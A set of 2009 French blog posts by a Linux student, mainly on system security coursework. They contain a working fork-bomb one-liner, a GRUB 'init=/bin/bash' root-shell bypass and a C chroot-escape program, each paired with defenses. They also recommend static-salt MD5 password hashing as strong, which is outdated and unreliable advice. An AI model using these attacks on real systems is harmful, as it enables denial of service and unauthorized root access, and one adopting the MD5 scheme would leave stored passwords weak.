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[Linux] Driver graphique nvidia optimisé 3 novembre 2009

Posted by Nassim in Hardware, Linux.
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nvidia-logo

J’ai dernièrement patché le driver nvidia avec un bout de code trouvé dans un coin de la toile, visiblement il se montre efficace sur ma carte graphique Nvidia GeForce Go 7400 (pour laptop), sous glxgears j’ai une légère amélioration d’une 100ène FPS à peu près. Il semblerait néanmoins que ce patch soi t plus efficace sur les ancienne cartes graphiques nvidia, il permettrait ainsi de régler le problème de saccades sous Compiz.

Pour installer le patch, il vous faut tout d’abord télécharger le pilote nvidia depuis le site officiel. Puis créez un fichier patch.txt dans lequel vous copierez ceci :

diff -ru usr/src/nv/nv.c usr/src/nv.572433/nv.c
— usr/src/nv/nv.c    2009-05-27 03:20:53.000000000 -0700
+++ usr/src/nv.572433/nv.c    2009-07-05 11:31:27.635210006 -0700
@@ -888,6 +888,7 @@
unsigned int pat1, pat2, i;
U008 PAT_WC_index;

+#if 0 /* disabled */
if (!test_bit(X86_FEATURE_PAT,
(volatile unsigned long *)&boot_cpu_data.x86_capability))
{
@@ -895,6 +896,7 @@
“NVRM: CPU does not support the PAT, falling back to MTRRs.\n”);
return NV_PAT_MODE_DISABLED;
}
+#endif

NV_READ_PAT_ENTRIES(pat1, pat2);
PAT_WC_index = 0xf;

Maintenant, vous allez patcher le driver télécharger avec ce patch, pour cela utilisez la commande :

# sh NVIDIA-Linux-xXX-XXX.XX-pkg1.run –apply-patch patch.txt

Notez que le # désigne le prompt, il ne faut pas le taper, quant aux X ils désignent des chiffres relatifs à la version du pilote, il faudra donc les remplacer selon la version téléchargée.

Le résultat de cette commande est un fichier qui ressemble à ceci :

NVIDIA-Linux-x86-190.42-pkg1-custom.run

Le fichier généré porte quasiment le même nom que le pilote que vous avez téléchargé à la différence qu’il y a la mention” custom” qui signifie “personnalisé”.

Voilà, vous pouvez maintenant procéder à son installation :

sh NVIDIA-Linux-x86-190.42-pkg1-custom.run

Important :

1/ Pensez à désinstaller le driver Nvidia déjà présent sur votre machine (utilisez votre gestionnaire de paquetage pour cela).

2/ Je décline toute responsabilité vis-à-vis des problèmes liés à l’utilisation de ce driver patché et/ou aux désagréments rencontrés suite à la désinstallation du driver nvidia déjà présent.

[Linux] Fork bombing, l’art de faire crasher Linux ! 3 novembre 2009

Posted by Nassim in Linux, Sécurité.
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bombe

Les cours se suivent l’un après l’autre et parfois on découvre des choses passionnantes. Dernièrement en étudiant la notion de fork (ou plutôt devrais-je dire “en re-étudiant” puisque j’avais déjà étudié cela durant mon précédent cursus) j’ai eu une idée lumineuse (machiavélique) qui se résume à utiliser des forks pour saturer le système et ainsi le faire planter.

Quelques minutes plus tard et après avoir tapé quelques lignes de code en C, j’ai obtenu le résultat escompté, c’est-à-dire un joli plantage, pour aller plus loin dans le sujet j’ai googlé un peu et là je suis tombé sur un code merveilleux, d’une beauté rare ! Un petit code en bash à taper directement dans sa console pour faire planter Linux, c’est instantané et radical !

Voici donc le code magic :

:() { : | : & };:

Cela peu paraitre fou mais ces quelques caractères font réellement planter le PC ! Seule solution pour reprendre la main : redémarrer à l’aide du bouton d’arrêt!

Ceux qui, comme moi, ont étudié et codé un peu en bash, ont normalement compris ce qui se cache dernière cette série de symboles… Non ?! Vous ne comprenez pas ?!?!  Ok, alors je vais expliquer le code par petits bouts :

:() Cette syntaxe bash indique que l’on créé une fonction nommée “:“.

{ Cette accolade ouvrante marque le début du contenu de la fonction.

: | : & Ceci est le corps de la fonction, on appelle la fonction “:” en elle-même (récursivité) et on la pipe avec elle même, le tout sera exécuté en tâche de fond.

} Cette accolade fermante indique la fin du contenu de la fonction.

;: Le point virgule en console sert de séparateur entre deux commandes, le “:” indique qu’on lance la fonction “:” qu’on a précédemment défini.

En résumé, ce qu’il y a avant le “;” sert à définir notre fonction et ce qu’il y a après le “;” est l’appel de la fonction définie. Le résultat est un fork exponentiel qui va très rapidement saturer la mémoire (cela foudroie instantanément  mon laptop équipé d’un dual core 1,6Ghz et d’1Go de DDRII).

Bien entendu, étant futur administrateur système et réseau et passionné de sécurité informatique, j’ai aussi cherché à savoir comment se protéger de ce genre de pratique, mine de rien ce petit truc là que je vous montre dans ce billet permet à un utilisateur ayant des privilèges standards de faire planter la machine sans utiliser de commandes particulières, vous imaginez ça sur un serveur de production ?

Donc j’ai pu constater qu’un des moyens de protéger son système est d’utiliser PAM, il faut donc éditer le fichier /etc/security/limits.conf pour limiter le nombre de processus que peut lancer un utilisateur.

Il doit aussi y avoir des patchs pour le noyau permettant de sécuriser ce phénomène mais comme j’ai un examen assez complexe demain (sémaphores et compagnie), je n’ai pas eu le temps de chercher d’avantage. Néanmoins, je vous tiens au courant et je vous dis à très bientôt pour de nouvelles aventures !

[Linux] Sécuriser GRUB 20 octobre 2009

Posted by Nassim in Linux, Sécurité.
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pc-security

Les cours s’enchainent de manière soutenue et ils sont de plus en plus intéressants. Il faut dire que certains de nos profs sont des pointures dans le domaine du libre, je pense notamment à Lucas Nussbaum qui est un développeur Debian (mainteneur officiel des packages de Perl sous Debian et Ubuntu) ainsi que Laurent Vallar qui est membre de la team Linuxfr.org.

Aujourd’hui on a eu droit en cours à une petite parenthèse au sujet de la sécurité de GRUB, Mr Nussbaum nous a montré comme il était facile d’exploiter GRUB dans sa configuration par défaut pour avoir accès à un système sans mot de passe root ni compte utilisateur.

La méthode qui nous a été décrite est affreusement simple du moment qu’on n’a accès physique à la machine, il suffit lors de l’affichage du menu de sélection de GRUB de sélectionner l’entrée de la distribution Linux puis de taper “e” pour éditer cette entrée, on ajouter à la fin de la ligne débutant par kernel la commande suivante :

init=/bin/bash

Attention à bien laisser un espace entre le texte déjà présent dans la ligne et ce qu’on y ajoute. Il ne faut pas que cela soit coller !

Une fois cette modification faite, on valide en tapant sur “Entrée” puis on boot en pressant la touche “b”. Et là miracle, au bout de quelques seconde on arrive sur un shell bash tout beau sans qu’aucune identification ne soit requise. A partir de là on peut imaginer effectuer tout un tas d’action comme modifier le mot de passe d’un utilisateur à l’aide de la commande passwd. Notez d’ailleurs que cette technique est parfaitement utilisable quand vous avez oublié votre mot de passe root par exemple.

Maintenant voyons comment améliorer la sécurité de notre GRUB et du PC de manière générale :

  1. Mettre un mot de passe au BIOS pour éviter les modifications de celui-ci.
  2. Modifier les séquences de boot de façon à ce que la machine ne boot que sur le disque dur, pensez pour cela à complètement désactiver les autres périphériques de boot car se contenter de mettre le disque dur en première position dans la séquence de boot ne suffit pas, un hacker peut très  bien sélectionner un autre périphérique de boot avec certains raccourcis comme F2, F10 ou F12 (tout dépend du matériel).
  3. Mettre un cadenas au chassie du PC (ou l’enfermer dans une case du bureau) pour empêcher un accès à l’intérieur de la machine.
  4. Protéger GRUB à l’aide d’un mot de passe :

Pour mettre un mot de passe à grub il va tout débord falloir générer un hash md5 du mot de passe que vous désirez utiliser, pour cela il faut passer par l’utilitaire grub-md5-crypt :

[nassim@Laptop_Nassim ~]$ grub-md5-crypt
Password:
Retype password:
$1$XF1ZG/$Hry.mmJjvlJ1DeH4/4EG9.

La chaine de caractère en vert est votre mot de passe en crypté, vous devez le copier. Il ne reste plus qu’à éditer le fichier menu.lst de Grub et y insérer la ligne suivante au niveau des configurations générales (et non à la fin du fichier) :

password –md5 MotDePasseCrypté

Pour activer la protection des différentes entrées de Grub, il faut modifier chaque entrée du menu.lst en ajoutant le terme lock en dessous de leur titre, comme dans cet exemple :

# (0) Arch Linux
title  Arch Linux
lock
root   (hd0,5)
kernel /boot/vmlinuz26 root=/dev/disk/by-uuid/af698b50-2fab-4465-9e75-94de78fca8b2 ro vga=792
initrd /boot/kernel26.img

Voilà, désormais lors du lancement de grub vous ne pourrez ni éditer ni lancer une entrée (démarrer Linux) dans avoir pressé la touche “p” puis avoir saisi votre mot de passe.

J’avoue Personnellement, je trouve que cette protection n’est pas très pratique, cela devient vite fatiguant de devoir saisir son mot  de passe à chaque démarrage, je recommande donc cette manipulation uniquement pour les machines qui nécessites réellement un soin très particulier en terme de sécurisation (serveur, ordinateur ayant des données sensibles…etc).

[Linux|Jeux] Warsow 11 octobre 2009

Posted by Nassim in Linux, Windows.
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Warsaw est un jeu gratuit de type FPS disponible sous Linux et adoptant un style graphique proche des bandes dessinées (cel-shading).

La qualité du jeu  est vraiment excellente, sa jouabilité est irréprochable et il est doté de quelques particularités résidant dans un système de double munitions (weak ammo et strong ammo) ainsi qu’un gameplay intégrant des mouvements spéciaux (pointes de vitesse, rebonds sur les murs, course sur les murs style Prince Of Persia…etc.) .

Les modes de jeux sont nombreux, on retrouve les classiques “Death Match”, “Team DeachMatch”, “Capture The Flag” mais aussi des modes plus spécifiques comme “Dual” où deux joueurs s’affrontent, “Race” axé rapidité, “Clan Arena”, “Duel Arena” et “Instagib”. Il est possible de jouer en local grâce à un système de bots inclus nativement.

Voici quelques captures d’écran :

Pour installer Warsow utilisez le gestionnaire de paquetage de votre distribution Linux (à noter que la dernière version du jeu est la 0.5) ou téléchargez le jeu depuis son site officiel : http://www.warsow.net

Pour finir, sachez que Warsow est aussi disponible sous Windows et Mac OS.

Dans un prochain billet, je traiterai de l’installation d’un serveur dédié Warsow tel que celui que j’ai mis en place dans notre salle de cours à l’institut.

tp://fr.wikipedia.org/wiki/Jeu_de_tir_subjectifc

[Sécurité/Linux] Chroot Break 4 octobre 2009

Posted by Nassim in Linux, Sécurité.
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chrootbreak

Derrière ce titre original se cache un billet traitant de l’évasion d’un chroot sous GNU/Linux, sujet pour lequel je me suis très fortement inspiré de ce que j’ai vu récemment en cours.

De plus en plus de personnes procèdent au compartimentage des applications de leur serveur à l’aide de l’outil chroot, le but de cette manipulation étant de limiter l’impacte du piratage d’une des applications (services) du serveur en isolant les programmes les uns les autres. Ainsi, si un hacker obtient un accès via un service X, il se trouvera enfermer dans une cage ce qui l’empêchera d’infecter le reste du système, la sécurité globale reste donc préservée.

Cela dit, les gens savent moins souvent que la commande chroot n’a pas pour vocation première de sécuriser un système en mettant en place des cages. De nombreuses techniques permettent en effet de s’échapper d’un chroot et d’avoir ainsi accès à l’ensemble du système.

Voici un petit programme rédigé en C qui permet d’outrepasser un chroot :

/**

* Programme en C permettant d’outrepasser un chroot.

* Auteur : Lucas Nussbaum – IUT Charlemagne Nancy2, France.

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/stat.h>

#include <sys/types.h>

int main() {

/* On se positionne a la racine du chroot */

if (chdir(“/”) == -1) { perror(“chdir”); }

/* On cree un repertoire ‘foo’ et un chroot dedans */

if (mkdir(“/foo”, 0755) == -1) { perror(“mkdir”); }

if (chroot(“/foo”) == -1) { perror(“chroot”); }

/* A ce moment la, la racine du processus est /foo, mais le repertoire courant du processus pointe en dehors du chroot.

On fait remonter le repertoire courant. */

if (chdir(“../../../../..”) == -1) { perror(“chdir”); }

/* On execute un shell */

system(“/bin/bash”);

return 0;

}

Deux remarques au sujet de ce code mis au point par mon enseignant :

  1. Il requière les privilèges root.
  2. Il requière l’accès à un compilateur C ou d’avoir la possibilité d’exécuter un programme

Ce programme exploite l’appel système chroot pour casser une prison. La démarche se résume à accéder à la racine du chroot, à créer un répertoire et à chrooter celui-ci à l’aide d’un appel système en langage C. Le fait de chrooter ce répertoire va modifier le répertoire racine du processus mais pas le répertoire courant qui se retrouve du coup en dehors du nouveau chroot… on est ainsi libre ! Il suffit dès lors de remonter plusieurs répertoire jusqu’à se retrouver à la racine “/” et de lancer un shell bash pour avoir un accès complet au système.

D’autres méthodes existes pour outrepasser un chroot. On peut notamment utiliser la commande MAKEDEV pour des devices sda* et en suite les monter et avoir ainsi accès à l’ensemble du disque dur. Il est aussi possible de passer via /proc qui contient diverses informations sur les processus courants du système.

Vous avez néanmoins bien compris que ces méthodes requièrent les droits root pour pouvoir êtres exploitées, le pirate devra donc par exemple passer via un faille du kernel pour obtenir ces privilèges.

Lors du TP qui traitait de ce sujet, le programme mentionné ci-dessus n’a pas fonctionné (pourtant lancé en root) sur mon serveur basée sur Debian, la raison à cela est que j’utilise un noyau patché avec GrSecurity qui inclus certains renforcements pour chroot.

D’ailleurs, j’essaierai prochainement de rédiger un billet traitant des dispositifs que j’ai mis en place sur mon serveur pour le sécuriser.

[Debian] Bon APT 4 octobre 2009

Posted by Nassim in Linux.
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Debian

Désolé mais  à cette heure saugrenue à laquelle je rédige ce billet je n’ai pas eu de meilleure idée de titre que celui-ci.

Bon, cela fait maintenant quelques semaines que j’ai repris les cours et qu’à mon grand désespoir d’Archlinuxien je bouffe du Debian à longueur de journée et j’ai donc décidé de rédiger un petit billet au sujet d’APT que je commence à maitriser.

Voici donc quelques « astuces » sous APT :

  • Sélectionner les meilleurs miroirs :

Il est intéressant de sélectionner les miroirs les plus rapides pour optimiser les temps de téléchargement des paquets avec APT. Cette opération peut être effectuée judicieusement à l’aide de l’application netselect.

Installation de netselect :

apt-get install netselect

Il vous suffit maintenant de lancer la commande netselect suivie d’une liste de miroirs (séparés par des espaces) et la commande renverra le miroir le plus rapide. Vous pouvez trouver la liste complète des miroirs ici : http://www.debian.org/mirror/mirrors_full.

  • Rechercher un paquet :

Si vous recherchez un paquet dont vous ne connaissez pas le nom exacte, vous pouvez utiliser la commande :

apt-cache search nomDuPaquet

Cette commande effectuera une recherche sur le nom des paquets et leur description. Si vous désirez restreindre la recherche aux noms des paquets uniquement, vous pouvez utiliser la commande :

apt-cache search  -n nomDuPaquet

  • Afficher les informations d’un paquet :

Vous pouvez afficher les informations d’un paquet (descriptions, dépendances…etc) en utilisant la commande :

apt-cache showpkg nomDuPaquet

  • Déterminer à quel paquetage appartient un fichier :

Une fonction qui s’avère cruciale lors de certaines pannes, cela permet par exemple de pouvoir restaurer un fichier corrompu en réinstallant le paquetage correspondant.

La commande à utiliser est :

apt-file search nomDuFichier

Il est aussi possible de lister l’ensemble des fichiers d’un paquet particulier :

apt-file list nomDuPaquet

Il est important de noter qu’apt-file doit être installé car il n’est pas disponible par défaut, son installation s’effectue de cette manière :

apt-get install apt-file

apt-file update

Voilà… j’essairai d’enrichir ce billet prochainement.

[Photos] ASRALL 17 septembre 2009

Posted by Nassim in Non classé.
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Nous avons commencé les cours d’ASRALL cette semaine, nous somme assez nombreux cette année (29 étudiants) mais heureusement le nombre de machines est suffisant. Les membres de la promotion sont sympathique, il y à une excellente ambiance et surtout un cadre de travail super agréable et très motivant.

Salle ASRALL

Salle ASRALL

Au fond de notre salle se trouve un ensemble de PC en libre service, nos jouets ! On peut s'en servir pour des différents tests et expérimentations

Au fond de notre salle se trouve un ensemble de PC en libre service, nos jouets ! On peut s'en servir pour différents tests et expérimentations

A droite ma station de travail (XFCE - Debian Testing pour la plus grande joie de mon binôme) et à gauche mon laptop (KDE4 - Archlinux). Sur nos laptops ont peut soit se connecter via wifi soit via ethernet

A droite ma station de travail (XFCE - Debian Testing pour la plus grande joie de mon binôme) et à gauche mon laptop (KDE4 - Archlinux). Sur nos laptops ont peut soit se connecter via wifi soit via ethernet

Ici mon ami Seb entrain de s'adonner aux macro sous Emacs (équipé d'un MacBook qui tourne sous Debian/XFCE ^^)

Ici mon ami Seb entrain de s'adonner aux macro sous Emacs (équipé d'un MacBook qui tourne sous Debian/XFCE ^^)

Voilà… j’espère publier de nouvelles photos très prochainement, notamment, celles du serveur que je compte déployer dès demain sur une des machines qui se trouvent au fond de la salle. J’hésite toujours sur le choix d’un OS/Distrib mais je crois que je vais essayer FreeBSD.

[Stage] Photos chez Ineodev 21 août 2009

Posted by Nassim in Non classé.
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Mon stage chez INEODEV tire à sa fin, j’ai donc saisi l’occasion pour prendre des photos des lieux,  ne soyez pas surpris de n’apercevoir aucun individu sur les photos, il ne s’agit pas de censure, c’est juste que toute l’équipe était dans la cour pour organiser un barbecue.

Ineodev

Lieu de travail des responsables du "Contrôle Qualité".

Bureau d'une des charmantes qui travaillent chez Ineodev.

Bureau d'une des charmantes femmes qui travaillent chez Ineodev.

Bureau du CTO

Bureau du CTO

La ruche; l'espace des développeurs !

La ruche; l'espace des développeurs !

Voilà, je n’ai pas tout pris en photo… la prochaine fois je prendrai des photos de la salle de réunion et du coin détente avec l’écran HD géant et la petite Wii ^^

[PHP] Générateur de documentation 11 août 2009

Posted by Nassim in Développement.
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Pour diverses raisons un programmeur doit rédiger une documentation pour ses applications, cette tâche peut s’avérer très fastidieuse et rébarbative.

Étant actuellement en stage, je n’échappe pas à cette obligation de fournir une documentation technique qui servira les gens qui s’occuperont du maintient de l’application après mon départ, d’autant plus que mon travail s’inscrit dans un cadre OpenSource.

A l’université j’ai principalement appris à développer en JAVA, ce langage a la particularité d’intégrer par défaut un générateur de documentation nommé Javadoc, il est simple d’utilisation et donne un bon résultat. Par contre, sous PHP il n’y a pas de générateur de documentation inclus par défaut, j’ai donc comparé les différents outils disponibles sur la toile et mon choix c’est très vite porté vers Doxygen qui permet de générer de la documentation pour des programmes en PHP mais aussi des programmes en C/C++, JAVA, C#, Python,…etc.

Un des avantages non négligeables en ce qui me concerne est la possibilité d’utiliser avec Doxygen la même syntaxe que celle de Javadoc, ce qui est fort agréable quand on est déjà habitué à cet outil. Il y a aussi d’autres avantages comme : support de divers formats de sortie (PDF, XML, HTML…etc), templates personnalisables, tags personnalisables…etc.

Doxygen est donc un outil que je vous conseille fortement, je n’ai pas encore étudié le cas de Python mais si celui-ci ne dispose pas d’un outil standard,  j’utiliserai surement Doxygen pour la documentation de la partie Python de mon projet.

Site officiel : http://www.stack.nl/~dimitri/doxygen/index.html

[PHP-Sécurité] Technique du grain de sel 10 août 2009

Posted by Nassim in Développement, Sécurité.
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Intrigant comme titre non ? La technique du grain de sel est une méthode permettant de renforcer les hash MD5 des mots de passe d’une application, elle n’est pas spécifique à PHP et peut être adapté à bien des langages.

Le fonctionnement de cette technique est très simple, il conciste à concaténer une chaine au mot de passe avant de le hasher en MD5, cette chaine étant composée de caractères aléatoires de préférence. Le but de cette manoeuvre? Tout simplement rallonger le mot de passe et rendre les attaques par brute-force et par rainbow tables plus difficiles pour ne pas dire impossibles.

En effet, avec des attaques par rainbow tables (tables arc-en-ciel en français) il est souvent possible de casser un mot de passe de 8 lettres et moins, sachant qu’il est rare qu’un utilisateur ait un mot de passe d’une longueur supérieur, les chances de réussite sont relativement élevées.

A l’aide d’un grain de sel, on va résoudre ce problème de longueur de mot de passe et rendre les attaques de décryptage beaucoup plus fastidieuses. Voyons un peu en pratique comment implémenter notre méthode :

$salt = “aJ!#eIL-pwZm*F”;  // Notre grain de sel, une chaine de caractères

$password = $_POST['password'];  // Le mot de passe saisie par l’utilisateur via le formulaire d’enregistrement

$password = md5($password.$salt);  // On effectue une concaténation du mot de passe avec notre grain de sel

Voilà… c’est aussi simple que ça ! Il ne reste plus qu’à sauvegarder le mot de passe dans la base de données, bien entendu, pour vérifier le mot de passe de l’utilisateur quand il voudra s’identifier il ne faudra pas oublier de concaténer à nouveau le mot de passe saisie avec le grain de sel.

Lorsqu’on dévelope une application qui sera redistribuée avec sa source, on ne peut pas implémenter la technique du grain de sable directement comme on l’a fait plus haut, pour la simple raison que le “salt” sera visible par tous dans le code source, il y a 2 solutions que je connais pour y remédier :

1/ Soit vous demandez explicitement aux utilisateurs de votre application d’éditer la source pour modifier la valeur du salt.

2/ Soit vous concevez une fonction qui générera un salt et qui sauvegardera sa valeur dans la base de données, votre application pourra ainsi obtenir la valeur du salt dès qu’elle en a besoin en intérrogant la BD. C’est cette technique qui est par exemple employée par Joomla, à la différence qu’il y a un grain de sel généré pour chaque utilisateur.

Personnellement, si vous développez une application pour votre propre besoin, préférez la première façon de faire car elle présente l’avantage d’être moins gourmande en ressource (pas de fonction de génération avec des random, ni de requêtes SQL) et elle n’est pas vulnérable aux injections SQL.

Voilà… j’espère vous avoir présenter une fois de plus un article instructif et simple. N’hésitez pas à laisser des commentaires et à proposer des solutions alternatives.